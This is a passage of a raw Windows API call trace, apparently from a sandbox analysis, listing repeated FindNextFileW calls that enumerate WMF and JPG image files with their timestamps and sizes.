lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0259.735] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0259.735] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0259.735] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0259.735] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0259.735] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0259.736] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0259.736] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0259.736] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0259.736] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0259.736] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0259.737] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0259.737] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0259.737] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0259.737] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0259.738] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0259.738] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0259.738] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0259.738] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0259.738] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0259.739] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0259.739] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0259.739] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0259.739] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0259.739] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0259.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0259.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0259.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4236, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297725.WMF", cAlternateFileName="")) returned 1 [0259.740] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297727.WMF", cAlternateFileName="")) returned 1 [0259.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x493e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297757.WMF", cAlternateFileName="")) returned 1 [0259.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0259.741] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0259.905] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0259.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0259.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0259.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0259.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0259.906] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0259.907] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0259.908] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1 [0259.908] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1 [0259.908] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0259.908] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, 